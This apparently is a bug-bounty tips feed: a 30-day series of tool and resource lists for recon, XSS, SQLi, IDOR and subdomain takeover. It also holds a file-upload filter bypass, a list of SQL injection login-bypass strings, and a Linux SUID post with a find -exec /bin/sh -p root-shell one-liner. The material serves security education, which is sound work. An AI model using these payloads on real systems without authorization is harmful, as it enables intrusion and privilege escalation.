Hacking Vidhya

Day 15 / 30 — SUBDOMAIN TAKEOVER — 30-SECOND BOUNTIES Run takeover checks on every recon. Most hunters don't. Tools: → subjack — http://github.com/haccer/subjack → subzy — http://github.com/PentestPad/subzy → nuclei with takeover templates → Reference: can-i-take-over-xyz — http://github.com/EdOverflow/can-i-take-over-xyz Services that frequently have orphaned CNAMEs:Heroku, GitHub Pages, AWS S3, Azure, Shopify, Tumblr, http://Surge.sh, Fastly, Pantheon, Help Scout, Unbounce, Webflow, Cargo Collective Quick check. Daily habit. Cumulative bounties. #bugbountytips #subdomaintakeover #bugbounty #infosec

Day 14 / 30 — RESOURCES: GitHub Repos to Star NOW Bookmark these. Reference them weekly. Live in them. → PayloadsAllTheThings — every payload for every vuln class http://github.com/swisskyrepo/PayloadsAllTheThings → SecLists — wordlists for everything http://github.com/danielmiessler/SecLists → HackTricks — methodology bible http://github.com/carlospolop/hacktricks → Awesome-Bugbounty-Writeups — categorized writeups http://github.com/devanshbatham/Awesome-Bugbounty-Writeups → Bug-Bounty-Beginner-Roadmap http://github.com/1ndianl33t/Bug-Bounty-Beginner-Roadmap → Resources-for-Beginner-Bug-Bounty-Hunters (@NahamSec) http://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters #bugbountytips #resources #github #bugbounty #infosec #cybersecurity

Day 13 / 30 — FILE UPLOAD BYPASS CHECKLIST Layered defenses fail in layered ways. Push every layer. Content checks: → Change Content-Type: application/x-php → image/jpeg in Burp → Prepend GIF89a; to PHP for magic byte bypass #bugbountytips #fileupload #bugbounty #infosec

Day 12 / 30 — IDOR HUNTING TOOLS Burp extensions that do the work for you: → Autorize — auto-tests auth between sessions → AuthMatrix — matrix-style auth testing → Auth Analyzer — endpoint-level auth checks Workflow that works: 1. Two browsers. Two accounts (UserA, UserB). 2. Put UserA's session cookie in Autorize. 3. Browse the app as UserB normally. 4. Autorize flags every endpoint UserA wasn't supposed to access. Always test: numeric increment, UUID swap, array [123,124], method swap (GET→PUT→DELETE). #bugbountytips #idor #bugbounty #infosec #cybersecurity #hackerone #bugcrowd

Day 11 / 30 — SSRF DORKS + PAYLOADS First payload should always be Collaborator. Confirm DNS hit, then chase metadata. #bugbountytips #ssrf #bugbounty #cybersecurity #infosec

Day 10 / 30 — OPEN REDIRECT PARAM CHEATSHEET If you see ANY of these params in a URL, test for open redirect. #bugbountytips #openredirect #bugbounty #cybersecurity #infosec

Day 9 / 30 — SQL INJECTION ARSENAL Tools: → sqlmap— http://github.com/sqlmapproject/sqlmap → ghauri — http://github.com/r0oth3xploit/ghauri → NoSQLMap — http://github.com/codingo/NoSQLMap Time-based golden rule: baseline 10 requests first. Network jitter lies. #bugbountytips #sqli #bugbounty #cybersecurity #infosec

Day 8 / 30 — XSS TOOLS + PAYLOAD LIBRARY When the filter fights back, change the context — not the payload. Tools: → dalfox (@hahwul) — http://github.com/hahwul/dalfox → kxss (@TomNomNom) — http://github.com/tomnomnom/hacks/tree/master/kxss → XSStrike (@s0md3v) — http://github.com/s0md3v/XSStrike → DOM Invader — built into Burp Payload library: http://github.com/payloadbox/xss-payload-list #bugbountytips #xss #dalfox #bugbounty #infosec

Day 7 / 30 — RESOURCES: YouTube Channels Worth Your Time Stop watching tutorials. Watch real hunters work. Channels: → @NahamSec — live recon sessions, methodology talks → @LiveOverflow — deep technical breakdowns → @InsiderPhD — beginner-friendly + API hacking → @stokfredrik (STÖK) — high-energy hunter content → @TheCyberMentor — broader hacking education → @Bugcrowd — official platform content → @intigriti — platform content + CTF walkthroughs → @rs0n_live — automation + live hunting Subscribe. Set notifications. Watch on your commute. The signal isn't in the payload. It's in how they think. #bugbountytips #resources #cybersecurity #infosec

Day 6 / 30 — GITHUB RECON THAT PAYS Devs still leak secrets in public repos. In 2026. Mine them. Tools: → trufflehog — http://github.com/trufflesecurity/trufflehog → gitleaks` — http://github.com/gitleaks/gitleaks → GitDorker — http://github.com/obheda12/GitDorker → github-subdomains — http://github.com/gwen001/github-subdomains → gitGraber — http://github.com/hisxo/gitGraber #bugbountytips #github #osint #bugbounty #infosec

Day 5 / 30 — JAVASCRIPT FILE ANALYSIS JS files leak endpoints, API keys, internal infra. Read them. Don't just scan. Tools: → subjs — http://github.com/lc/subjs →getJS — http://github.com/003random/getJS → LinkFinder — http://github.com/GerbenJavado/LinkFinder → JSluice — http://github.com/BishopFox/jsluice → SecretFinder — http://github.com/m4ll0k/SecretFinder → trufflehog — http://github.com/trufflesecurity/trufflehog Read the comments. Devs leave goldmines. #bugbountytips #javascript #bugbounty #infosec #cybersecurity

Recon Tip: http://bugbounty.zip → Browser-based toolkit for handling URL & domain lists ✅ Add HTTPS, remove dupes, replace words ✅ Extract endpoints, parameters, path words ✅ JS Scanner, SubTreasure, OTP gen ✅ Export to CSV/JSON No install. Just paste & go ⚡️ 🔗 http://bugbounty.zip #bugbounty #recon #infosec #bugbountytips

Day 4 / 30 — PARAMETER DISCOVERY ARSENAL Hidden params = hidden bugs. Skip this step and you skip half the attack surface. Tools: → ParamSpider— http://github.com/devanshbatham/ParamSpider → Arjun (@s0md3v) — http://github.com/s0md3v/Arjun → x8 — http://github.com/Sh1Yo/x8 → Param Miner — Burp BApp store → gf(@TomNomNom) — http://github.com/tomnomnom/gf gf patterns repo: http://github.com/1ndianl33t/Gf-Patterns #bugbountytips #recon #paramspider #infosec #cybersecurity

Day 3 / 30 — URL & ENDPOINT COLLECTION Got alive subs? Now collect every URL ever associated with them. This is where the gold is. Tools: → waybackurls (@TomNomNom) — http://github.com/tomnomnom/waybackurls → gau — http://github.com/lc/gau → katana — http://github.com/projectdiscovery/katana → hakrawler (@hakluke) — http://github.com/hakluke/hakrawler → gospider — http://github.com/jaeles-project/gospider → paramspider — http://github.com/devanshbatham/ParamSpider #bugbountytips #recon #infosec #cybersecurity

Day 2 / 30 — LIVE HOST PROBING WITH HTTPX Once you have subs, find what's alive. httpx is the standard. The flags matter. Tool: https://github.com/projectdiscovery/httpx Flags that earn bounties: -mc 200,301,302,401,403 — match codes -tech-detect — fingerprint the stack -title — page titles surface dev/admin pages -sc -cl — status code + content length -favicon — favicon hash (use with Shodan) -screenshot — visual recon -threads 200 — speed #bugbountytips #recon #infosec

Day 1 / 30 — SUBDOMAIN ENUMERATION STACK Don't rely on one tool. Stack them. The bug lives in the sub only one tool found. Tools: → subfinder — http://github.com/projectdiscovery/subfinder → amass — http://github.com/owasp-amass/amass → assetfinder — http://github.com/tomnomnom/assetfinder → findomain — http://github.com/findomain/findomain → chaos — http://github.com/projectdiscovery/chaos-client → github-subdomains — http://github.com/gwen001/github-subdomains → shuffledns — http://github.com/projectdiscovery/shuffledns #bugbountytips #recon #infosec

login page bypass methods

foo' or '1'='1 

Username : ' or ''='
Password : ' or ''='

Username : ' or 1--
Password : 
') or true--
') or ('')=('
') or 1--
') or ('x')=('

" or true--
" or ""="
" or 1--
" or "x"="
") or true--
") or ("")=("
") or 1--
") or ("x")=("

')) or true--
')) or ((''))=(('
')) or 1--
')) or (('x'))=(('
' or ''='
' OR '1'='1' --
' OR '1'='1' ({
' OR '1'='1' /*

-----‐------------------------------- ✎ Linux Security → SUID & Privilege Boundaries -----‐------------------------------- In Linux, security heavily depends on permission architecture. One critical mechanism is SUID (Set User ID). ● What is SUID? When SUID is applied to an executable, it runs with the file owner’s permissions instead of the executing user’s. If the file is owned by root, it grants elevated privileges. [me@linux ~]$ ls -l /usr/bin/passwd -rwsr-xr-x 1 root root ... • The s indicates SUID. This allows normal users to run passwd, which needs root access to update /etc/shadow. SUID itself is legitimate, misconfigured SUID binaries are dangerous. If powerful binaries like: • bash • vim • find are improperly assigned SUID, they may be abused for privilege escalation. ● Enumerating SUID Binaries find / -perm -4000 -type f 2>/dev/null This way we can find the files with SUID. ● A Usage example: Let's say find has SUID find . -exec /bin/sh -p \; -quit With this you can open a shell as the root. ● To Audit You need find the files with SUID the way I said before and delete the tag : chmod u-s /path/to/binary #bugbounty #Linux